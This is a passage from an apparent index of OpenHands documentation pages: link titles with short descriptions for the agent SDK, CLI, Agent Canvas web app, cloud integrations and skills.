conversation history compression system -- [Context Condenser](https://docs.openhands.dev/sdk/guides/context-condenser.md): Manage agent memory by condensing conversation history to save tokens. -- [Conversation](https://docs.openhands.dev/sdk/arch/conversation.md): High-level architecture of the conversation orchestration system -- [Conversation Goals](https://docs.openhands.dev/sdk/guides/agent-server/conversation-goals.md): Add a resumable goal strategy to a normal agent-server conversation. -- [Conversation with Async](https://docs.openhands.dev/sdk/guides/convo-async.md): Use async/await for concurrent agent operations and non-blocking execution. -- [Creating Custom Agent](https://docs.openhands.dev/sdk/guides/agent-custom.md): Learn how to design specialized agents with custom tool sets -- [Critic (Experimental)](https://docs.openhands.dev/sdk/guides/critic.md): Real-time evaluation of agent actions using an LLM-based critic model, with built-in iterative refinement. -- [Custom Tools](https://docs.openhands.dev/sdk/guides/custom-tools.md): Tools define what agents can do. The SDK includes built-in tools for common operations and supports creating custom tools for specialized needs. -- [Custom Tools with Remote Agent Server](https://docs.openhands.dev/sdk/guides/agent-server/custom-tools.md): Learn how to use custom tools with a remote agent server by building a custom base image that includes your tool implementations. -- [Custom Visualizer](https://docs.openhands.dev/sdk/guides/convo-custom-visualizer.md): Customize conversation visualization by creating custom visualizers or configuring the default visualizer. -- [Deferred Init (Warm-Pool)](https://docs.openhands.dev/sdk/guides/agent-server/deferred-init.md): Pre-warm agent-server pods before a user is matched, then activate them at runtime with POST /api/init. -- [Design Principles](https://docs.openhands.dev/sdk/arch/design.md): Core architectural principles guiding the OpenHands Software Agent SDK's development. -- [Docker Sandbox](https://docs.openhands.dev/sdk/guides/agent-server/docker-sandbox.md): Run agent server in isolated Docker containers for security and reproducibility. -- [Events](https://docs.openhands.dev/sdk/arch/events.md): High-level architecture of the typed event framework -- [Exception Handling](https://docs.openhands.dev/sdk/guides/llm-error-handling.md): Provider‑agnostic exceptions raised by the SDK and recommended patterns for handling them. -- [FAQ](https://docs.openhands.dev/sdk/faq.md): Frequently asked questions about the OpenHands SDK -- [File-Based Agents](https://docs.openhands.dev/sdk/guides/agent-file-based.md): Define specialized sub-agents as simple Markdown files with YAML frontmatter — no Python code required. -- [Fork a Conversation](https://docs.openhands.dev/sdk/guides/convo-fork.md): Branch off an existing conversation for follow-up exploration without contaminating the original. -- [Getting Started](https://docs.openhands.dev/sdk/getting-started.md): Install the OpenHands SDK and build AI agents that write software. -- [Goal Completion Loop](https://docs.openhands.dev/sdk/guides/convo-goal.md): Drive a conversation toward a verifiable objective with a judge-driven, self-continuing completion loop. -- [GPT-5 Preset (ApplyPatchTool)](https://docs.openhands.dev/sdk/guides/llm-gpt5-preset.md): Use the GPT-5 preset to build an agent that swaps the standard FileEditorTool for ApplyPatchTool. -- [Hello World](https://docs.openhands.dev/sdk/guides/hello-world.md): The simplest possible OpenHands agent - configure an LLM, create an agent, and complete a task. -- [Hooks](https://docs.openhands.dev/sdk/guides/hooks.md): Use lifecycle hooks to observe, log, and customize agent execution. -- [Image Input](https://docs.openhands.dev/sdk/guides/llm-image-input.md): Send images to multimodal agents for vision-based tasks and analysis. -- [Interactive Terminal](https://docs.openhands.dev/sdk/guides/agent-interactive-terminal.md): Enable agents to interact with terminal applications like ipython, python REPL, and other interactive CLI tools. -- [Iterative Refinement](https://docs.openhands.dev/sdk/guides/iterative-refinement.md): Implement iterative refinement workflows where agents refine their work based on critique feedback until quality thresholds are met. -- [LLM](https://docs.openhands.dev/sdk/arch/llm.md): High-level architecture of the provider-agnostic language model interface -- [LLM Fallback Strategy](https://docs.openhands.dev/sdk/guides/llm-fallback.md): Automatically try alternate LLMs when the primary model fails with a transient error. -- [LLM Profile Store](https://docs.openhands.dev/sdk/guides/llm-profile-store.md): Save, load, and manage reusable LLM configurations so you never repeat setup code again. -- [LLM Registry](https://docs.openhands.dev/sdk/guides/llm-registry.md): Dynamically select and configure language models using the LLM registry. -- [LLM Streaming](https://docs.openhands.dev/sdk/guides/llm-streaming.md): Stream LLM responses token-by-token for real-time display and interactive user experiences. -- [LLM Subscriptions](https://docs.openhands.dev/sdk/guides/llm-subscriptions.md): Use your ChatGPT Plus/Pro subscription to access Codex models without consuming API credits. -- [Local Agent Server](https://docs.openhands.dev/sdk/guides/agent-server/local-server.md): Install and run an OpenHands Agent Server on your machine, then connect to it from the SDK. -- [MCP Integration](https://docs.openhands.dev/sdk/arch/mcp.md): High-level architecture of Model Context Protocol support -- [Metrics Tracking](https://docs.openhands.dev/sdk/guides/metrics.md): Track token usage, costs, and latency metrics for your agents. -- [Model Context Protocol](https://docs.openhands.dev/sdk/guides/mcp.md): Model Context Protocol (MCP) enables dynamic tool integration from external servers. Agents can discover and use MCP-provided tools automatically. -- [Model Routing](https://docs.openhands.dev/sdk/guides/llm-routing.md): Route agent's LLM requests to different models. -- [Observability & Tracing](https://docs.openhands.dev/sdk/guides/observability.md): Enable OpenTelemetry tracing to monitor and debug your agent's execution with tools like Laminar, MLflow, Honeycomb, or any OTLP-compatible backend. -- [OpenAI-Compatible Endpoint](https://docs.openhands.dev/sdk/guides/agent-server/openai-gateway.md): Call an OpenHands agent-server through the OpenAI Chat Completions or Responses protocol. -- [OpenHands Cloud Workspace](https://docs.openhands.dev/sdk/guides/agent-server/cloud-workspace.md): Connect to OpenHands Cloud for fully managed sandbox environments with optional SaaS credential inheritance. -- [openhands.sdk.agent](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.agent.md): API reference for openhands.sdk.agent module -- [openhands.sdk.conversation](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.conversation.md): API reference for openhands.sdk.conversation module -- [openhands.sdk.event](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.event.md): API reference for openhands.sdk.event module -- [openhands.sdk.llm](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.llm.md): API reference for openhands.sdk.llm module -- [openhands.sdk.security](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.security.md): API reference for openhands.sdk.security module -- [openhands.sdk.tool](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.tool.md): API reference for openhands.sdk.tool module -- [openhands.sdk.utils](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.utils.md): API reference for openhands.sdk.utils module -- [openhands.sdk.workspace](https://docs.openhands.dev/sdk/api-reference/openhands.sdk.workspace.md): API reference for openhands.sdk.workspace module -- [Overview](https://docs.openhands.dev/sdk/arch/overview.md): Understanding the OpenHands Software Agent SDK's package structure, component interactions, and execution models. -- [Overview](https://docs.openhands.dev/sdk/guides/agent-server/overview.md): Run agents on remote servers with isolated workspaces for production deployments. -- [Parallel Tool Execution](https://docs.openhands.dev/sdk/guides/parallel-tool-execution.md): Execute multiple tools concurrently within a single LLM response to improve throughput for independent operations. -- [Pause and Resume](https://docs.openhands.dev/sdk/guides/convo-pause-and-resume.md): Pause agent execution, perform operations, and resume without losing state. -- [Persistence](https://docs.openhands.dev/sdk/guides/convo-persistence.md): Save and restore conversation state for multi-session workflows. -- [Persistent Memory](https://docs.openhands.dev/sdk/guides/persistent-memory.md): Give agents opt-in, two-tier memory that survives across conversations. -- [Plugins](https://docs.openhands.dev/sdk/guides/plugins.md): Plugins bundle skills, hooks, MCP servers, agents, and commands into reusable packages that extend agent capabilities. -- [PR Review](https://docs.openhands.dev/sdk/guides/github-workflows/pr-review.md): Use OpenHands Agent to generate meaningful pull request review -- [Reasoning](https://docs.openhands.dev/sdk/guides/llm-reasoning.md): Access model reasoning traces from Anthropic extended thinking and OpenAI responses API. -- [SDK Package](https://docs.openhands.dev/sdk/arch/sdk.md): Core framework components for building agents - the reasoning loop, state management, and extensibility system. -- [Secret Registry](https://docs.openhands.dev/sdk/guides/secrets.md): Provide environment variables and secrets to agent workspace securely. -- [Security](https://docs.openhands.dev/sdk/arch/security.md): High-level architecture of action security analysis and validation -- [Security & Action Confirmation](https://docs.openhands.dev/sdk/guides/security.md): Control agent action execution through confirmation policy and security analyzer. -- [Send Message While Running](https://docs.openhands.dev/sdk/guides/convo-send-message-while-running.md): Interrupt running agents to provide additional context or corrections. -- [Skill](https://docs.openhands.dev/sdk/arch/skill.md): High-level architecture of the reusable prompt system -- [Software Agent SDK](https://docs.openhands.dev/sdk.md): Build AI agents that write software. A clean, modular SDK with production-ready tools. -- [Structured Output](https://docs.openhands.dev/sdk/guides/structured-output.md): Attach a schema to any tool so the LLM returns typed, validated fields alongside the tool's own arguments. -- [Stuck Detector](https://docs.openhands.dev/sdk/guides/agent-stuck-detector.md): Detect and handle stuck agents automatically with timeout mechanisms. -- [Task Tool Set](https://docs.openhands.dev/sdk/guides/task-tool-set.md): Delegate complex work to specialized sub-agents that run synchronously and return results to the parent agent. -- [Theory of Mind (TOM) Agent](https://docs.openhands.dev/sdk/guides/agent-tom-agent.md): Enable your agent to understand user intent and preferences through Theory of Mind capabilities, providing personalized guidance based on user modeling. -- [TODO Management](https://docs.openhands.dev/sdk/guides/github-workflows/todo-management.md): Implement TODOs using OpenHands Agent -- [Tool System & MCP](https://docs.openhands.dev/sdk/arch/tool-system.md): High-level architecture of the action-observation tool framework -- [Workspace](https://docs.openhands.dev/sdk/arch/workspace.md): High-level architecture of the execution environment abstraction - -## OpenHands CLI - -- [Command Reference](https://docs.openhands.dev/openhands/usage/cli/command-reference.md): Complete reference for all OpenHands CLI commands and options -- [Critic (Experimental)](https://docs.openhands.dev/openhands/usage/cli/critic.md): Automatic task success prediction and iterative refinement for OpenHands LLM Provider users -- [GUI Server](https://docs.openhands.dev/openhands/usage/cli/gui-server.md): Launch the full OpenHands web GUI using Docker -- [Headless Mode](https://docs.openhands.dev/openhands/usage/cli/headless.md): Run OpenHands without UI for scripting, automation, and CI/CD pipelines -- [IDE Integration Overview](https://docs.openhands.dev/openhands/usage/cli/ide/overview.md): Use OpenHands directly in your favorite code editor through the Agent Client Protocol -- [Installation](https://docs.openhands.dev/openhands/usage/cli/installation.md): Install the OpenHands CLI on your system -- [JetBrains IDEs](https://docs.openhands.dev/openhands/usage/cli/ide/jetbrains.md): Configure OpenHands with IntelliJ IDEA, PyCharm, WebStorm, and other JetBrains IDEs -- [MCP Servers](https://docs.openhands.dev/openhands/usage/cli/mcp-servers.md): Manage Model Context Protocol servers to extend OpenHands capabilities -- [OpenHands Cloud](https://docs.openhands.dev/openhands/usage/cli/cloud.md): Create and manage OpenHands Cloud conversations from the CLI -- [Quick Start](https://docs.openhands.dev/openhands/usage/cli/quick-start.md): Get started with OpenHands CLI in minutes -- [Resume Conversations](https://docs.openhands.dev/openhands/usage/cli/resume.md): How to resume previous conversations in the OpenHands CLI -- [Terminal (CLI)](https://docs.openhands.dev/openhands/usage/cli/terminal.md): Use OpenHands interactively in your terminal with the command-line interface -- [Toad Terminal](https://docs.openhands.dev/openhands/usage/cli/ide/toad.md): Use OpenHands with the Toad universal terminal interface for AI agents -- [VS Code](https://docs.openhands.dev/openhands/usage/cli/ide/vscode.md): Use OpenHands in Visual Studio Code with the VSCode ACP community extension -- [Web Interface](https://docs.openhands.dev/openhands/usage/cli/web-interface.md): Access the OpenHands CLI through your web browser -- [Zed IDE](https://docs.openhands.dev/openhands/usage/cli/ide/zed.md): Configure OpenHands with the Zed code editor through the Agent Client Protocol - -## OpenHands Web App Server - -- [About OpenHands](https://docs.openhands.dev/openhands/usage/about.md) -- [ACP Agents](https://docs.openhands.dev/openhands/usage/agent-canvas/acp-agents.md): Run Claude Code, Codex, or Gemini CLI in Agent Canvas through the Agent Client Protocol. -- [Agent Canvas 1.10.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.10.0.md): Release notes for Agent Canvas version 1.10.0 -- [Agent Canvas 1.11.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.11.0.md): Release notes for Agent Canvas version 1.11.0 -- [Agent Canvas 1.12.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.12.0.md): Release notes for Agent Canvas version 1.12.0 -- [Agent Canvas 1.13.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.13.0.md): Release notes for Agent Canvas version 1.13.0 -- [Agent Canvas 1.14.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.14.0.md): Release notes for Agent Canvas version 1.14.0 -- [Agent Canvas 1.15.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.15.0.md): Release notes for Agent Canvas version 1.15.0 -- [Agent Canvas 1.16.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.16.0.md): Release notes for Agent Canvas version 1.16.0 -- [Agent Canvas 1.17.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.17.0.md): Release notes for Agent Canvas version 1.17.0 -- [Agent Canvas 1.18.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.18.0.md): Release notes for Agent Canvas version 1.18.0 -- [Agent Canvas 1.19.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.19.0.md): Release notes for Agent Canvas version 1.19.0 -- [Agent Canvas 1.20.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.20.0.md): Release notes for Agent Canvas version 1.20.0 -- [Agent Canvas 1.21.0](https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.21.0.md): Release notes for Agent Canvas version 1.21.0 -- [Agent Canvas Architecture](https://docs.openhands.dev/openhands/usage/agent-canvas/architecture.md): Understand how Agent Canvas connects to execution, automation, and sandbox services. -- [Agent Canvas Overview](https://docs.openhands.dev/openhands/usage/agent-canvas/overview.md): Understand Agent Canvas, how it runs agents, and which setup path to choose. -- [Agent Profiles](https://docs.openhands.dev/openhands/usage/agent-canvas/agent-profiles.md): Manage reusable agent configurations for Agent Canvas conversations. -- [Agent-Driven Daily Workflow](https://docs.openhands.dev/openhands/usage/use-cases/daily-workflow.md): Use the OpenHands Agent Canvas to gather, prioritize, and work through your daily development tasks -- [API Keys Settings](https://docs.openhands.dev/openhands/usage/settings/api-keys-settings.md): View your OpenHands LLM key and create API keys to work with OpenHands programmatically. -- [Application Settings](https://docs.openhands.dev/openhands/usage/settings/application-settings.md): Configure application-level settings for OpenHands. -- [Apps (Beta)](https://docs.openhands.dev/openhands/usage/agent-canvas/canvas-extensions.md): Add trusted custom pages and integrated tools to Agent Canvas without forking the application. -- [Automated Code Review](https://docs.openhands.dev/openhands/usage/use-cases/code-review.md): Set up automated PR reviews using OpenHands and the Software Agent SDK -- [Automated QA Testing](https://docs.openhands.dev/openhands/usage/use-cases/qa-changes.md): Validate pull request changes by actually running the software — not just reading code or running tests -- [Automations Overview](https://docs.openhands.dev/openhands/usage/automations/overview.md): Create scheduled tasks that run automatically in OpenHands. -- [AWS Bedrock](https://docs.openhands.dev/openhands/usage/llms/aws-bedrock.md): OpenHands uses LiteLLM to make calls to AWS Bedrock models. You can find their documentation on using Bedrock as a provider [here](https://docs.litellm.ai/docs/providers/bedrock). -- [Azure](https://docs.openhands.dev/openhands/usage/llms/azure-llms.md): OpenHands uses LiteLLM to make calls to Azure's chat models. You can find their documentation on using Azure as a provider [here](https://docs.litellm.ai/docs/providers/azure). -- [Backends](https://docs.openhands.dev/openhands/usage/agent-canvas/backends.md): Understand and manage Agent Canvas backends. -- [Cloud Backend](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/cloud.md): Connect Agent Canvas to OpenHands Cloud for on-demand sandboxed execution. -- [COBOL Modernization](https://docs.openhands.dev/openhands/usage/use-cases/cobol-modernization.md): Modernizing legacy COBOL systems with OpenHands -- [Configuration Options](https://docs.openhands.dev/openhands/usage/advanced/configuration-options.md): How to configure OpenHands V1 (Web UI, env vars, and sandbox settings). -- [Configure](https://docs.openhands.dev/openhands/usage/run-openhands/gui-mode.md): High level overview of configuring the OpenHands Web interface. -- [Configure a Model](https://docs.openhands.dev/openhands/usage/agent-canvas/model-configuration.md): Choose and verify an LLM configuration path in Agent Canvas. -- [Contributing](https://docs.openhands.dev/openhands/usage/agent-canvas/development.md): Contribute to Agent Canvas development. -- [Conversations](https://docs.openhands.dev/openhands/usage/agent-canvas/conversations.md): Work with Agent Canvas conversations, including branching from previous messages. -- [Creating Automations](https://docs.openhands.dev/openhands/usage/automations/creating-automations.md): Learn how to create scheduled automations using the Automation Skill. -- [Critic](https://docs.openhands.dev/openhands/usage/agent-canvas/critic.md): Configure critic evaluation and iterative refinement in Agent Canvas. -- [Custom LLM Configurations](https://docs.openhands.dev/openhands/usage/llms/custom-llm-configs.md): OpenHands supports defining multiple named LLM configurations in your `config.toml` file. This feature allows you to use different LLM configurations for different purposes, such as using a cheaper model for tasks that don't require high-quality responses, or using different models with different parameters for specific agents. -- [Custom Sandbox](https://docs.openhands.dev/openhands/usage/advanced/custom-sandbox-guide.md): Build and use your own agent-server image when you need extra tools, system -- [Customize and Settings](https://docs.openhands.dev/openhands/usage/agent-canvas/customize-and-settings.md): Teach your agent with skills and MCP servers, and configure how it runs with settings. -- [Debugging](https://docs.openhands.dev/openhands/usage/developers/debugging.md) -- [Dependency Upgrades](https://docs.openhands.dev/openhands/usage/use-cases/dependency-upgrades.md): Automating dependency updates and upgrades with OpenHands -- [Development Overview](https://docs.openhands.dev/openhands/usage/developers/development-overview.md): This guide provides an overview of the key documentation resources available in the OpenHands repository. Whether you're looking to contribute, understand the architecture, or work on specific components, these resources will help you navigate the codebase effectively. -- [Docker Sandbox](https://docs.openhands.dev/openhands/usage/sandboxes/docker.md): The recommended sandbox provider for running OpenHands locally. -- [Environment Variables Reference](https://docs.openhands.dev/openhands/usage/environment-variables.md): Complete reference of all environment variables supported by OpenHands -- [Evaluation Harness](https://docs.openhands.dev/openhands/usage/developers/evaluation-harness.md) -- [Event-Based Automations](https://docs.openhands.dev/openhands/usage/automations/event-automations.md): Trigger automations from GitHub events or custom webhooks instead of cron schedules. -- [First Time Setup](https://docs.openhands.dev/openhands/usage/agent-canvas/first-time-setup.md): Configure Agent Canvas after installation — choose your agent, connect a backend, add an LLM, and launch your first automation. -- [GitHub PR Review Assistant](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/github-pr-review.md): Automatically review pull requests using an OpenHands agent. -- [GitHub Repository Monitor](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/github-repo-monitor.md): Monitor a GitHub repository and trigger agent actions on events. -- [Good vs. Bad Instructions](https://docs.openhands.dev/openhands/usage/essential-guidelines/good-vs-bad-instructions.md): Learn how to write effective instructions for OpenHands -- [Google Gemini/Vertex](https://docs.openhands.dev/openhands/usage/llms/google-llms.md): OpenHands uses LiteLLM to make calls to Google's chat models. You can find their documentation on using Google as a provider -> [Gemini - Google AI Studio](https://docs.litellm.ai/docs/providers/gemini), [VertexAI - Google Cloud Platform](https://docs.litellm.ai/docs/providers/vertex) -- [Groq](https://docs.openhands.dev/openhands/usage/llms/groq.md): OpenHands uses LiteLLM to make calls to chat models on Groq. You can find their documentation on using Groq as a provider [here](https://docs.litellm.ai/docs/providers/groq). -- [Hooks](https://docs.openhands.dev/openhands/usage/customization/hooks.md): Use lifecycle hooks to control agent behavior - block dangerous commands, enforce quality checks before stopping, inject context, and more. -- [Incident Triage](https://docs.openhands.dev/openhands/usage/use-cases/incident-triage.md): Using OpenHands to investigate and resolve production incidents -- [Install Agent Canvas](https://docs.openhands.dev/openhands/usage/agent-canvas/setup.md): Install, run, update, or uninstall Agent Canvas. -- [Integrations Settings](https://docs.openhands.dev/openhands/usage/settings/integrations-settings.md): How to setup and modify the various integrations in OpenHands. -- [Isolate Tool Execution with Docker](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/docker-execution.md): Keep Agent Canvas orchestration on the host while running filesystem and process tools in an ephemeral Docker container per conversation. -- [Key Features](https://docs.openhands.dev/openhands/usage/key-features.md) -- [Kubernetes (Helm)](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/kubernetes.md): Install Agent Canvas into a Kubernetes cluster with the official Helm chart. -- [Language Model (LLM) Settings](https://docs.openhands.dev/openhands/usage/settings/llm-settings.md): This page goes over how to set the LLM to use in OpenHands, including LLM profiles for switching models during conversations. -- [LiteLLM Proxy](https://docs.openhands.dev/openhands/usage/llms/litellm-proxy.md): OpenHands supports using the [LiteLLM proxy](https://docs.litellm.ai/docs/proxy/quick_start) to access various LLM providers. -- [Local Backend](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/local.md): Run one or more local backends and connect to them from the Agent Canvas UI. -- [Main Agent and Capabilities](https://docs.openhands.dev/openhands/usage/agents.md) -- [Manage LLM Profiles](https://docs.openhands.dev/openhands/usage/agent-canvas/llm-profiles.md): Configure models in Agent Canvas and use saved LLM profiles during conversations. -- [Managing automations](https://docs.openhands.dev/openhands/usage/agent-canvas/managing-automations.md): Browse, export, import, enable, disable, and run automations from the Agent Canvas Automate view. -- [Managing Automations](https://docs.openhands.dev/openhands/usage/automations/managing-automations.md): List, update, enable, disable, and delete your automations. -- [Modal Backend](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/modal.md): Deploy the agent server on Modal as a remote backend for Agent Canvas. -- [Model Context Protocol (MCP)](https://docs.openhands.dev/openhands/usage/settings/mcp-settings.md): This page outlines how to configure and use the Model Context Protocol (MCP) in OpenHands, allowing you -- [Moonshot AI](https://docs.openhands.dev/openhands/usage/llms/moonshot.md): How to use Moonshot AI models with OpenHands -- [OpenAI](https://docs.openhands.dev/openhands/usage/llms/openai-llms.md): OpenHands uses LiteLLM to make calls to OpenAI's chat models. You can find their documentation on using OpenAI as a provider [here](https://docs.litellm.ai/docs/providers/openai). -- [OpenHands](https://docs.openhands.dev/openhands/usage/llms/openhands-llms.md): OpenHands LLM provider with access to state-of-the-art (SOTA) agentic coding models. -- [OpenHands in Your SDLC](https://docs.openhands.dev/openhands/usage/essential-guidelines/sdlc-integration.md): How OpenHands fits into your software development lifecycle -- [Overview](https://docs.openhands.dev/openhands/usage/llms/llms.md): OpenHands can connect to any LLM supported by LiteLLM. However, it requires a powerful model to work. -- [Overview](https://docs.openhands.dev/openhands/usage/sandboxes/overview.md): Where OpenHands runs code in V1: Docker sandbox, Process, or Remote. -- [Phone & Tablet Access](https://docs.openhands.dev/openhands/usage/agent-canvas/mobile-access.md): Access Agent Canvas from a phone or tablet using Tailscale or ngrok. -- [Plugins in Agent Canvas](https://docs.openhands.dev/openhands/usage/agent-canvas/plugins.md): Browse, install, attach, and inspect plugins in Agent Canvas. -- [Process Sandbox](https://docs.openhands.dev/openhands/usage/sandboxes/process.md): Run the agent server as a local process without container isolation. -- [Prompting Best Practices](https://docs.openhands.dev/openhands/usage/tips/prompting-best-practices.md): When working with OpenHands AI software developer, providing clear and effective prompts is key to getting accurate and useful responses. This guide outlines best practices for crafting effective prompts. -- [Remote Backend](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/remote.md): Connect Agent Canvas to an Agent Server backend running on another machine or container. -- [Remote Sandbox](https://docs.openhands.dev/openhands/usage/sandboxes/remote.md): Run conversations in a remote sandbox environment. -- [Repository Customization](https://docs.openhands.dev/openhands/usage/customization/repository.md): You can customize how OpenHands interacts with your repository by creating a `.openhands` directory at the root level. -- [REST API (V1)](https://docs.openhands.dev/openhands/usage/api/v1.md): Overview of the Sandbox Server V1 REST endpoints for conversations and sandboxes. -- [Run Local LLMs with OpenHands](https://docs.openhands.dev/openhands/usage/llms/local-llms.md): Connect OpenHands to local LLM servers such as LM Studio, Ollama, vLLM, and SGLang. -- [Search Engine Setup](https://docs.openhands.dev/openhands/usage/advanced/search-engine-setup.md): Configure OpenHands to use Tavily as a search engine. -- [Secrets Management](https://docs.openhands.dev/openhands/usage/settings/secrets-settings.md): How to manage secrets in OpenHands. -- [Setup](https://docs.openhands.dev/openhands/usage/run-openhands/local-setup.md): Getting started with running OpenHands on your own. -- [Setup a Pre-built Automation](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt-automations.md): Get started quickly with a pre-built automation for common workflows. -- [Slack Channel Monitor](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/slack-channel-monitor.md): Watch a Slack channel and trigger agent actions on messages. -- [Spark Migrations](https://docs.openhands.dev/openhands/usage/use-cases/spark-migrations.md): Migrating Apache Spark applications with OpenHands -- [Sync Automations with Git](https://docs.openhands.dev/openhands/usage/agent-canvas/git-sync.md): Back up, share, and edit Agent Canvas automations through a Git repository. -- [Troubleshooting](https://docs.openhands.dev/openhands/usage/agent-canvas/troubleshooting.md): Fix common Agent Canvas install, startup, backend, model, workspace, and uninstall issues. -- [Troubleshooting](https://docs.openhands.dev/openhands/usage/troubleshooting/troubleshooting.md) -- [Tutorial Library](https://docs.openhands.dev/openhands/usage/get-started/tutorials.md): Centralized hub for OpenHands tutorials and examples -- [Use Cases Overview](https://docs.openhands.dev/openhands/usage/use-cases/overview.md): Explore how OpenHands can help with common software development challenges -- [Use Docker with Agent Canvas](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/docker.md): Run Agent Canvas with Docker for a sandboxed backend and mounted project workspace. -- [Use OpenRouter with OpenHands](https://docs.openhands.dev/openhands/usage/llms/openrouter.md): Configure an OpenRouter model and API key in Agent Canvas or OpenHands. -- [VM / Self-Hosted Installation](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/vm.md): Install Agent Canvas on a VM as a backend-only service or full self-hosted Canvas. -- [Vulnerability Remediation](https://docs.openhands.dev/openhands/usage/use-cases/vulnerability-remediation.md): Using OpenHands to identify and fix security vulnerabilities in your codebase -- [WebSocket Connection](https://docs.openhands.dev/openhands/usage/developers/websocket-connection.md) -- [When to Use OpenHands](https://docs.openhands.dev/openhands/usage/essential-guidelines/when-to-use-openhands.md): Guidance on when OpenHands is the right tool for your task - -## OpenHands Cloud - -- [Bitbucket Integration](https://docs.openhands.dev/openhands/usage/cloud/bitbucket-installation.md): This guide walks you through the process of installing OpenHands Cloud for your Bitbucket repositories. Once -- [Budgets](https://docs.openhands.dev/openhands/usage/cloud/organizations/budgets.md): Set spending limits for your organization and its members to keep AI spend under control. -- [Cloud API Overview](https://docs.openhands.dev/openhands/usage/cloud/cloud-api.md): OpenHands Cloud provides a REST API that allows you to programmatically interact with OpenHands. -- [Cloud UI](https://docs.openhands.dev/openhands/usage/cloud/cloud-ui.md): The Cloud UI provides a web interface for interacting with OpenHands. This page provides references on -- [Getting Started](https://docs.openhands.dev/openhands/usage/cloud/openhands-cloud.md): Getting started with OpenHands Cloud. -- [GitHub Integration](https://docs.openhands.dev/openhands/usage/cloud/github-installation.md): This guide walks you through the process of installing OpenHands Cloud for your GitHub repositories. Once -- [GitLab Integration](https://docs.openhands.dev/openhands/usage/cloud/gitlab-installation.md) -- [Jira Cloud Integration](https://docs.openhands.dev/openhands/usage/cloud/project-management/jira-integration.md): Complete guide for setting up Jira Cloud integration with OpenHands Cloud, including service account creation, API token generation, webhook configuration, and workspace integration setup. -- [Jira Data Center Integration (Coming soon...)](https://docs.openhands.dev/openhands/usage/cloud/project-management/jira-dc-integration.md): Complete guide for setting up Jira Data Center integration with OpenHands Cloud, including service account creation, personal access token generation, webhook configuration, and workspace integration setup. -- [Linear Integration (Coming soon...)](https://docs.openhands.dev/openhands/usage/cloud/project-management/linear-integration.md): Complete guide for setting up Linear integration with OpenHands Cloud, including service account creation, API key generation, webhook configuration, and workspace integration setup. -- [Managing Members](https://docs.openhands.dev/openhands/usage/cloud/organizations/managing-members.md): How to invite users and manage team members in your organization. -- [Organization Settings](https://docs.openhands.dev/openhands/usage/cloud/organizations/settings.md): Configure shared resources and settings for your OpenHands organization. -- [Organizations Overview](https://docs.openhands.dev/openhands/usage/cloud/organizations/overview.md): Manage teams and collaborate with shared resources in OpenHands Cloud or OpenHands Enterprise. -- [Plugin Launcher](https://docs.openhands.dev/openhands/usage/cloud/plugin-launcher.md): Use the OpenHands Cloud `/launch` route to open a conversation with plugins or skills pre-configured from a Git repository. -- [Project Management Tool Integrations (Coming soon...)](https://docs.openhands.dev/openhands/usage/cloud/project-management/overview.md): Overview of OpenHands Cloud integrations with project management platforms including Jira Cloud, Jira Data Center, and Linear. Learn about setup requirements, usage methods, and troubleshooting. -- [Roles and Permissions](https://docs.openhands.dev/openhands/usage/cloud/organizations/roles-permissions.md): Understanding the different permission levels in OpenHands Organizations. -- [Slack Integration](https://docs.openhands.dev/openhands/usage/cloud/slack-installation.md): This guide walks you through installing the OpenHands Slack app. - -## OpenHands Overview - -- [Adding New Skills](https://docs.openhands.dev/overview/skills/adding.md): Learn how to add existing skills to your OpenHands workspace from the official registry or custom repositories. -- [Agent Plugins Packages](https://docs.openhands.dev/overview/agent-plugins.md): OpenHands loads plugins published in the portable Agent Plugins format, so a single package works across every compatible client. -- [Community](https://docs.openhands.dev/overview/community.md): Learn about the OpenHands community, mission, and values -- [Contributing](https://docs.openhands.dev/overview/contributing.md): Join us in building OpenHands and the future of AI. Learn how to contribute to make a meaningful impact. -- [Creating New Skills](https://docs.openhands.dev/overview/skills/creating.md): Learn how to create reusable skills instead of repeating prompts, with best practices for structure, triggers, and content organization. -- [FAQs](https://docs.openhands.dev/overview/faqs.md): Frequently asked questions about OpenHands. -- [First Projects](https://docs.openhands.dev/overview/first-projects.md): So you've [run OpenHands](/overview/quickstart). Now what? -- [General Skills](https://docs.openhands.dev/overview/skills/repo.md): General guidelines for OpenHands to work more effectively with the repository. -- [Global Skills](https://docs.openhands.dev/overview/skills/public.md): Global skills are [keyword-triggered skills](/overview/skills/keyword) that apply to all OpenHands users. The official global skill registry is maintained at [github.com/OpenHands/extensions](https://github.com/OpenHands/extensions). -- [Introduction](https://docs.openhands.dev/overview/introduction.md): Welcome to OpenHands, a community focused on AI-driven development -- [Issue Triage and the ready-for-dev Gate](https://docs.openhands.dev/overview/issue-lifecycle.md): How issues are labeled and marked ready-for-dev, and what the pull request description check enforces. -- [Keyword-Triggered 